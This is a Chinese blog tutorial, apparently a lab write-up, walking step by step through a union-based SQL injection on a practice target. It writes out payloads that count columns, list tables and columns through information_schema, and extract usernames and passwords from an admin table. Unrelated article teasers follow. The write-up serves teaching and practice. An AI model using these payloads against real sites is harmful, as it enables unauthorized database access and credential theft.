sql注入之union注入

embedded/2024/12/23 6:45:16/

Sql注入之union注入攻击

今天讲讲sql注入攻击流程

事先声明,本文仅仅作为学习使用,因个人原因导致的后果,皆与本人无关,后果由个人承担。

本次演示靶机为封神台里的题目,具体连接如下

https://hack.zkaq.cn/battle/target?id=485e58d0afa7e4f7

那么话不多说,开始今天的讲解。今天主要讲sql注入中的union注入

对于一个网站,首先对于sql注入先验证是字符型注入还是数字型注入,

从以上两张图看出,我们将id=1改为id=1‘,页面出错,可以判断这个是数字型注入。对于字符型和数字型可以用这个方法判断

接下来使用id=1 and 1=1测试

以及使用id=1 and 1=2测试

这里发现1=1输出正常,而是用1=2页面报错,初步判断存漏洞

接下来使用order by

id=1 and 1=1 order by 1

id=1 and 1=1 order by 2

id=1 and 1=1 order by 3

可以看到order by 3 时网页出错,初步判断存在2个传参点

结合上面1=2存在漏洞,开始找漏洞

接下来使用union参数(从这里开始才是真正的union注入)

Id=1 and 1=2 union select1,2

网页输出2,所以我们对2处更改查找数据库

id=1 and 1=2 union select 1,database()

此处括号容易漏掉,本人操作时也经常漏掉,希望大家在以后的测试中不要忘记

接下来构造?id=1 and 1=2 union select 1, table_name from information_schema.tables where table_schema=database() limit 0,1

网页显示admin

接下来构造?id=1 and 1=2 union select 1, column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

这两句是union注入中较为重要的句子,大家在练习的时候建议敲一遍而不是复制粘贴,两句其实还挺像的,我把两句中的不同的地方标出来,方便大家记忆

将上述句子limit 0,1 更改为limit 1,1

再更改为limit 2,1

可知admin分为id,username,password

如果不确定的话可以改为limit 3,1试一下

接下来就是数据库信息了

使用如下句子:

?id=1 and 1=2 union select 1,username from admin  limit 0,1

将limit0,1改为1,1

查找密码

?id=1 and 1=2 union select 1,password from admin  limit 0,1

Limit0,1更改为1,1

到这里我们的sql注入的union注入就结束了,大家可以到官网上去看一下,也有解题思路,我这篇文章就是借鉴他的解题思路和过程。

最后声明,任何因个人原因导致的后果,皆有个人承担。


http://www.ppmy.cn/embedded/148007.html

相关文章

怎么在Windows上远程控制Mac电脑?

远程看看(AnyViewer)Mac版是一款免费的远程桌面软件,支持Windows、macOS、iOS和Android系统。通过远程看看,您可以轻松实现Windows远程控制Mac电脑。此软件采用了端到端的ECC非对称加密技术,保障了在远程连接过程中的隐…

数据挖掘之认识数据

在数据挖掘过程中,数据的认识是非常重要的一步,它为后续的数据分析、建模、特征选择等工作奠定基础。以鸢尾花数据集(Iris Dataset)数据集之鸢尾花数据集(Iris Dataset)-CSDN博客为例,下面将介绍…

3. Kafka入门—安装与基本命令

Kafka基础操作 一. 章节简介二. kafka简介三. Kafka安装1. 准备工作2. Zookeeper安装2.1 配置文件2.2 启动相关命令3. Kafka安装3.1 配置文件3.2 启动相关命令-------------------------------------------------------------------------------------------------------------…

[路由引入]OSPF\ISIS路由引入案例

前言 路由引入技术的作用 实现不同路由协议间的传递实现对业务流量的灵活把控 路由引入技术的方向 具有方向性,将信息A传递B,则路由协议B可获得路由协议A中的路由信息。但是,此时路由协议A不知道路由协议B中的信息,除非配置B到A的…

【Java基础面试题032】Java中的字节码是什么?

回答重点 Java字节码是Java编译器将Java源代码编译后生成的 位于Java源代码与JVM执行的执行的机器码之间。 Java字节码由JVM解释或即时编译(JIT)为机器码执行 扩展知识 Java字节码的关键点 1)字节码结构: Java字节码是与平…

【学习总结|DAY021】Java 多线程

多线程是Java编程中非常重要的概念,它允许程序同时执行多个任务,提高程序的执行效率。本文将详细介绍多线程的创建方式、常用方法、线程安全、线程同步、线程池以及并发和并行的概念,并结合代码案例进行讲解。 一、线程的创建方式 Java中创…

如何解决vscode powershell乱码

如何解决vscode powershell乱码 在 Visual Studio Code 中使用 PowerShell 时出现乱码,通常是由于终端编码设置或字体不匹配导致的。以下是解决 PowerShell 乱码问题的步骤: 设置 PowerShell 的默认编码 PowerShell 默认的输出编码可能与终端编码不一…

电脑为什么会提示“msvcr120.dll丢失”?电脑找不到“msvcr120.dll文件“要怎么解决?

电脑为什么会提示“msvcr120.dll丢失”?遇到此问题该如何解决? 在我们使用电脑进行日常办公、学习或娱乐时,偶尔会遇到一些令人头疼的系统报错。其中,“msvcr120.dll丢失”这一提示,相信不少朋友都曾遇到过。这个看似…